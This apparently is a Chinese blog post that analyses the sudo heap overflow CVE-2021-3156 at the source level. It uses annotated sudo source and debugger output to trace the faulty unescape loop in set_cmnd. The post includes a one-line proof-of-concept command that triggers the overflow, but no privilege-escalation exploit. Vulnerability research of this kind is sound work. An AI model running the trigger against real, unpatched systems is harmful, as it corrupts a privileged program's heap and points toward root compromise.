Heap-Based Buffer Overflow in Sudo (Baron Samedit) 分析 -- POC 验证篇

从源码的角度去调试分析 CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)

说实话我没有分析 cve 的习惯,我只是喜欢 RTFSC,其实是我太菜了。。。。。。

开始吧,我选用的是 sudo 1.9.0 版本,因为 没有为什么我随便选的(affects all legacy versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to 1.9.5p1 in their default configuration.)

准备工作

via: https://codeload.github.com/sudo-project/sudo/zip/refs/tags/SUDO_1_9_0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
╭─r00t at FakeLinux in ~/code/SecurityResearch/CVE-2021-3156
╰─○ cd sudo-SUDO_1_9_0

╭─r00t at FakeLinux in ~/code/SecurityResearch/CVE-2021-3156/sudo-SUDO_1_9_0
╰─○ mkdir build

╭─r00t at FakeLinux in ~/code/SecurityResearch/CVE-2021-3156/sudo-SUDO_1_9_0
╰─○ ../configure --prefix=/home/r00t/bin

╭─r00t at FakeLinux in ~/code/SecurityResearch/CVE-2021-3156/sudo-SUDO_1_9_0
╰─○ make -j4

╭─r00t at FakeLinux in ~/code/SecurityResearch/CVE-2021-3156/sudo-SUDO_1_9_0
╰─○ sudo make install

自己看好 --prefix= ,设定成自己要安装的目录,别到时候覆盖本机的

编译好之后放着备用

backtrace

image-20210405025537690

1
2
[#0] 0x55d829ab7ad0 → parse_args(argc=0x3, argv=0x55d82b875220, old_optind=0x7ffede10dd2c, nargc=0x7ffede10dd28, nargv=0x7ffede10dd30, settingsp=0x7ffede10dd58, env_addp=0x7ffede10dd38)
[#1] 0x55d829aa2bfb → main(argc=0x4, argv=0x7ffede10dfc8, envp=0x7ffede10dff0)

image-20210403023947915

1
2
3
4
5
#0  set_cmnd () at ../../../plugins/sudoers/sudoers.c:857
#1 0x00007f2892e36cf4 in sudoers_policy_main (argc=argc@entry=0x3, argv=argv@entry=0x56435dfcb220, pwflag=pwflag@entry=0x0, env_add=env_add@entry=0x0, verbose=verbose@entry=0x0, closure=closure@entry=0x7ffddfd1dc40) at ../../../plugins/sudoers/sudoers.c:353
#2 0x00007f2892e2fbb2 in sudoers_policy_check (argc=0x3, argv=0x56435dfcb220, env_add=0x0, command_infop=0x7ffddfd1dd00, argv_out=0x7ffddfd1dd08, user_env_out=0x7ffddfd1dd10, errstr=0x7ffddfd1dd28) at ../../../plugins/sudoers/policy.c:984
#3 0x000056435c62de6a in policy_check (user_env_out=0x7ffddfd1dd10, argv_out=0x7ffddfd1dd08, command_info=0x7ffddfd1dd00, env_add=0x0, argv=0x56435dfcb220, argc=0x3) at ../../src/sudo.c:1161
#4 main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at ../../src/sudo.c:272

源码分析

parse_args

文末引用 [1] 给的 POC :

1
sudoedit -s '\' `perl -e 'print "A" x 65536'` 

image-20210404235959152

程序在 crash 的时候提示 top chunk 的 size 有问题,可以断定就是发生了堆溢出,然后覆盖到了 top chunk 的 size

去看看 sudo 怎么处理参数的

1
2
3
gef➤  bt
#0 parse_args (argc=0x4, argv=0x7ffede10dfc8, old_optind=0x7ffede10dd2c, nargc=0x7ffede10dd28, nargv=0x7ffede10dd30, settingsp=0x7ffede10dd58, env_addp=0x7ffede10dd38) at ../../src/parse_args.c:257
#1 0x000055d829aa2bfb in main (argc=0x4, argv=0x7ffede10dfc8, envp=0x7ffede10dff0) at ../../src/sudo.c:218

parse_args 函数是 sudo 处理命令行参数的地方

@argc – 命令行参数个数

@argv – 命令行参数

@nargc – parse 后的得到的 nargv 数组的成员个数

@nargv – parse 后的命令行参数

@settingsp – parse 命令行参数得到 sudo_settings

@env_addp – parse 环境变量得到的环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
* Command line argument parsing.
* Sets nargc and nargv which corresponds to the argc/argv we'll use
* for the command to be run (if we are running one).
*/
// 参数 argc argv 都是直接从 main 函数的 argc argv 传过来的
int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
struct sudo_settings **settingsp, char ***env_addp)
{
int mode = 0; /* what mode is sudo to be run in? */ // sudo 的运行模式
int flags = 0; /* mode flags */ // sudo 的运行模式的标识
int valid_flags = DEFAULT_VALID_FLAGS; // 用来校验 flags 是否合法
int ch, i;
char *cp;
const char *progname; // 运行的程序名,判别运行的是 sudo 还是 sudoedit
int proglen;


/* Pass progname to plugin so it can call initprogname() */
// 获取运行的程序的名称,其实这个东西跟 busybox 是一样的,sudo 和 sudoedit 其实都是同一个二进制文件
// sudoedit 是 sudo 的一个软链接而已,但是运行的时候 进程名 是 sudoedit ,可以依据这个来判定需要执行 sudo 还是 sudoedit 的功能,可以看看 initprogname 的实现,其实 getprogname 返回的是全局变量 progname,存的就是当前运行程序的名称,程序在 parse_args 之前程序通过 initprogname 初始化了,好了有点扯远了。。。
progname = getprogname();
sudo_settings[ARG_PROGNAME].value = progname;

sudo_settings 结构和用法上像是个 hashmap(其实还是有很大区别的),存的是各种运行属性(不知道具体名字我自己编的 运行属性),这里设置的是 progname

1
2
3
4
5
6
static struct sudo_settings sudo_settings[] = {
......
#define ARG_PROGNAME 12
{ "progname" },
......
};

执行完可以看到

image-20210405005310280

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname); // 获取进程名的长度
// 因为 sudo 有一个软链接 sudoedit,只要进程名长度大于 4 并且最后 4 个字母是 edit 时
// 确定运行的是 sudoedit 而不是 sudo
// 碎碎念:其实这里的 (progname + proglen - 4, "edit") 写的很妙,程序名无关,就算 sudoedit 改成 sedit 还是能完美运行
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT; // 设置运行模式为 MODE_EDIT
sudo_settings[ARG_SUDOEDIT].value = "true";
}


/* XXX - should fill in settings at the end to avoid dupes */
for (;;) {
/*
* Some trickiness is required to allow environment variables
* to be interspersed with command line options.
*/
// 解析 -xxx 参数,我删掉了其他无关的 case,我们只用到了 -s
if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
switch (ch) {
.......
case 's':
sudo_settings[ARG_USER_SHELL].value = "true";
SET(flags, MODE_SHELL); // 加上 MODE_SHELL
break;
......
}

image-20210405013054041

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    } else if (!got_end_of_args && is_envar) {
/* Insert key=value pair, crank optind and resume getopt. */
env_insert(&extra_env, argv[optind]);
optind++;
} else {
/* Not an option or an environment variable -- we're done. */
break;
}
}

argc -= optind;
argv += optind;
*old_optind = optind;
// 按照我们使用 POC 调试,现在 argv 指针指向的是 '/', argc 是 2

// mode 是从在解析 -xxx 参数的时候设置的,如果没有加参数,那么 mode 就是 0,相当于是运行 sudo xxxx,就比如我们平时 sudo cat 这样
// MODE_RUN 就是使用 sudo 运行一个命令
if (!mode)
mode = MODE_RUN; /* running a command */
}
......
#ifdef ENABLE_SUDO_PLUGIN_API
sudo_settings[ARG_PLUGIN_DIR].value = sudo_conf_plugin_dir_path();
#endif
.......

image-20210405020126257

1
2
3
4
5
6
7
8
9
10
11
12
13
    /*
* For sudoedit we need to rewrite argv
*/
// 因为我们运行的是 sudoedit ,在上面检测 进程名 的时候设置了 MODE_EDIT
if (mode == MODE_EDIT) {
#if defined(HAVE_SETRESUID) || defined(HAVE_SETREUID) || defined(HAVE_SETEUID)
char **av;
int ac;

// 这里 reallocarray 的用法,第一个参数是 NULL,其实相当于调用了 realloc(NULL, 4 * sizeof(char *)),(我这里只是简单形容,真正的 reallocarray 源码会使用编译器内建函数 __builtin_mul_overflow 去计算 4 * sizeof(char *),同时检查溢出......)
// 其实到 realloc 里面(记住,如果你要看源码的话对应的函数应该是 __libc_realloc),里面会有一句检查第一个参数是不是 NULL,如果是 NULL 直接就是通过 __libc_malloc (就是我们所说的 malloc)去分配所需的内存,扯远了,感兴趣可以自己去看看源码(好像是我啰嗦了,这些应该都是这篇文章读者的常识吧,呜呜呜)
av = reallocarray(NULL, argc + 2, sizeof(char *)); // 其实相当分配了一个 char * 数组,懂我的意思吧
// av 指向的这块内存对应的 chunk 大小应该为:0x30

image-20210405022235727

1
2
3
4
5
6
7
if (av == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, av))
exit(EXIT_FAILURE);

/* Must have the command in argv[0]. */
av[0] = "sudoedit";

image-20210405022935286

1
2
3
4
5
// 把我们的 '/' 和 一堆 A 的地址放入 av
for (ac = 0; argv[ac] != NULL; ac++) {
av[ac + 1] = argv[ac];
}
av[++ac] = NULL;

应该不用我特别说明了吧,rbx 存的一直都是 reallocarray 返回的地址,相当于 av 变量,为啥 -0x10,这是 chunk header 的大小(x86-64),这样就能看到整个 chunk,可以看到的是,所有的参数的地址都拷贝进了 av,参数的个数是 ac,为啥要这样做?因为函数马上就要 ret 了,我们解析的好的参数必须要放在 heap 上,否则函数 ret 后,相当于白忙活

image-20210405023520055

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    argv = av;
argc = ac;
#else
sudo_fatalx(U_("sudoedit is not supported on this platform"));
#endif
}

// c 语言不能有多个返回值,直接修改传入的指针
*settingsp = sudo_settings;
*env_addp = extra_env.envp;
*nargc = argc;
*nargv = argv; // av 必须放在堆上
// 返回 mode | flags
debug_return_int(mode | flags);
}

image-20210405030108500

分析到这里 parse_args 分析完毕

回到 main 函数

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
&settings, &env_add);

/* Load plugins. */
if (!sudo_load_plugins(&policy_plugin, &io_plugins, &audit_plugins,
&approval_plugins))
sudo_fatalx(U_("fatal error, unable to load plugins"));

/* Allocate event base so plugin can use it. */
if ((sudo_event_base = sudo_ev_base_alloc()) == NULL)
sudo_fatalx("%s", U_("unable to allocate memory"));

/* Open policy and audit plugins. */
/* XXX - audit policy_open errors */
audit_open(settings, user_info, submit_optind, argv, envp);
policy_open(settings, user_info, envp);

switch (sudo_mode & MODE_MASK) {
case MODE_EDIT:
case MODE_RUN:
// 跟进去
policy_check(nargc, nargv, env_add, &command_info, &argv_out,
&user_env_out);

这里是我手残了输错了命令,重新运行了之后 nargv 的那个堆块的地址发生变化了,不然跟上面的图中的 parse_args 里的 av 是一样的才是,我直接补图吧

image-20210405032309245

image-20210405032448286

policy_check

1
2
3
4
5
6
7
8
9
10
11
12
static void
policy_check(int argc, char * const argv[],
char *env_add[], char **command_info[], char **argv_out[],
char **user_env_out[])
{
const char *errstr = NULL;
int ok;

ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
command_info, argv_out, user_env_out, &errstr);

}

image-20210405033716355

可以看到 rax 存的是一个 policy_plugin 结构体偏移 64 的地址,减 64 就能得到结构体的起始地址

在后面 call 的时候又加上了 0x20,相当于 policy_plugin 结构体偏移量 0x60,得到的是 policy_plugin.u.policy->check_policy 函数的地址,其实最终调用的是 sudoers_policy_check 函数,位于:plugins/sudoers/policy.c

sudoers_policy_check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
char **command_infop[], char **argv_out[], char **user_env_out[],
const char **errstr)
{
struct sudoers_exec_args exec_args;
int ret;

if (!ISSET(sudo_mode, MODE_EDIT))
SET(sudo_mode, MODE_RUN);

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, false, &exec_args);

}

image-20210405041104031

image-20210405041152116

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
bool verbose, void *closure)
{
char *iolog_path = NULL;
mode_t cmnd_umask = ACCESSPERMS;
struct sudo_nss *nss;
int cmnd_status = -1, oldlocale, validated;
int ret = -1;


/* Environment variables specified on the command line. */
if (env_add != NULL && env_add[0] != NULL)
sudo_user.env_vars = env_add;

/*
* Make a local copy of argc/argv, with special handling
* for pseudo-commands and the '-i' option.
*/
if (argc == 0) {
......
} else {
/* Must leave an extra slot before NewArgv for bash's --login */
NewArgc = argc;

image-20210405041704748

1
NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));

image-20210405041918337

1
2
3
4
5
6
7
8
9
if (NewArgv == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
goto done;
}
sudoers_gc_add(GC_VECTOR, NewArgv);
NewArgv++; /* reserve an extra slot for --login */
// 将我们传入的参数的地址拷贝到 NewArgv
memcpy(NewArgv, argv, argc * sizeof(char *));
NewArgv[NewArgc] = NULL;

看到了吗,这是拷贝完之后,但是你会发现,指针在 chunk 中的位置不一样,其实就是因为上面那一句 NewArgv++; 留出了 8 个字节

image-20210405043143588

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    if (ISSET(sudo_mode, MODE_LOGIN_SHELL) && runas_pw != NULL) {
NewArgv[0] = strdup(runas_pw->pw_shell);
if (NewArgv[0] == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
goto done;
}
sudoers_gc_add(GC_PTR, NewArgv[0]);
}
}

/* If given the -P option, set the "preserve_groups" flag. */
// 没有 -P,不会进入这个判断
if (ISSET(sudo_mode, MODE_PRESERVE_GROUPS))
def_preserve_groups = true;

/* Find command in path and apply per-command Defaults. */
cmnd_status = set_cmnd();
if (cmnd_status == NOT_FOUND_ERROR)
goto done;

......
}

set_cmnd

问题就出在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
* Fill in user_cmnd, user_args, user_base and user_stat variables
* and apply any command-specific defaults entries.
*/
static int
set_cmnd(void)
{
struct sudo_nss *nss;
char *path = user_path;
int ret = FOUND;
debug_decl(set_cmnd, SUDOERS_DEBUG_PLUGIN);

/* Allocate user_stat for find_path() and match functions. */
user_stat = calloc(1, sizeof(struct stat));
if (user_stat == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(NOT_FOUND_ERROR);
}

/* Default value for cmnd, overridden below. */
// 这里 user_cmnd == NULL 成立
if (user_cmnd == NULL)
user_cmnd = NewArgv[0];

user_cmnd 指向字符串: sudoedit

image-20210405044536937

user_cmnd 其实是

1
#define user_cmnd        (sudo_user.cmnd)

image-20210405045115950

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
......

/* set user_args */
// 现在 NewArgc == 3,这三个参数分别是 sudoedit / AAAAAAAAAAAAAAA....
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;

/* Alloc and build up user_args. */
// 计算参数的长度,其实是计算 / AAAAAAAAAAAAAAA.... 加起来的长度,因为后面拷贝的是参数,不拷贝进程名
// 因为 av = NewArgv + 1,是从 / 开始的
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;

// 这里,malloc 分配的 内存 的大小等于 / AAAAAAAAAAAAAAA.... 加起来的长度(这样说其实不严谨,还需要考虑对齐的,不只是分配那么大)
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}

这里的话,我调试的时候随便输入的, 2219 个 A,加上 \ 一共 0x8ac 个字符,还有字符串终止符 ‘\x00’,就是 0x8ae,现在 malloc(0x8ae)

image-20210405050811496

image-20210405051421273

可以看到分配的 chunk 大小为 0x8c0(1 是 inuse 标志)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
// 问题就出在这里,一开始 from 指向的是字符串 "\\x00"
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
// 这个条件肯定为真,因为 from[0] == '\\' 并且 from[1] == '\x00',isspace 判断的是 from[1] 是不是为 '\x20',(这就是 POC 中 \ 的用处)
// 可能是写代码的人当时蒙圈了,因为我们的参数在内存中是这样的: 0x414141414141005c,\ 和 AAAAAA... 是 '\x00' 分隔的
// 他可能把 '\x00' 当成了空格 '\x20',导致 !isspace((unsigned char)from[1] 然后 from++
// 看下面的第二张图,from++ 的汇编其实是 add r15,0x2
// 导致 r15 存的地址是 0x00007ffd3083ae66,这个地址存的是 AAAAAA....
// 导致,第一次 for 的时候其实就已经把 '\x00' 和 AAAAA..... 复制到 user_args 来了
// 而会进行两次 for 循环,导致复制了 '\x00' (因为 from 指向 \ 时,from++; 了才 *to++ = *from++;) 和 两次 AAAAA..... 直接破坏了 heap 上的其他 chunk,在再次使用 malloc 的时候可能就因为 heap 上的 chunk 被破坏而 crash
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';

第一轮 for 第一轮 while

image-20210405052403060

from[0] == '\\' && !isspace((unsigned char)from[1]) 条件为真,可以看出 r15 就是 from 指针,移动 from 指向 AAAAAAA.....

image-20210405052701093

第一次 while 结束

因为 A 太多了,我直接在第二次 while 结束下断点,然后 c

第二次 while 结束

可以看到,复制上来了 '\x00' 和那些 A

image-20210405054304582

第一次 while 已经准备填满了 分配 的内存(差不多填满,差 12 字节),0x557b8d3f4ea0user_args 对应的 chunk 的地址,加上 0x8c0 (chunk 的大小,0x8c1 的 1 是相邻上一个 chunk 的 inuse 标识位,不能参与运算(自己补堆的知识))就能得到相邻的 chunk 的地址 0x557b8d3f5760

image-20210405054530410

image-20210405054720768

我们继续,第二轮 for

image-20210405054944075

image-20210405055446837

可以看到,0x557b8d3f5760 的那个 chunk 被覆盖了,可能在后面使用到这个 chunk 的时候就直接出错,只要填充够多,直接就覆盖到 top chunk

image-20210405055719062

image-20210405060815845

这就是完整的分析

后面再另外写怎么去利用这个漏洞提权。。。。

敬请期待 《 Heap-Based Buffer Overflow in Sudo (Baron Samedit) 分析 – 利用篇》,算了,说这种屁话,估计都没人看

引用

[1] CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)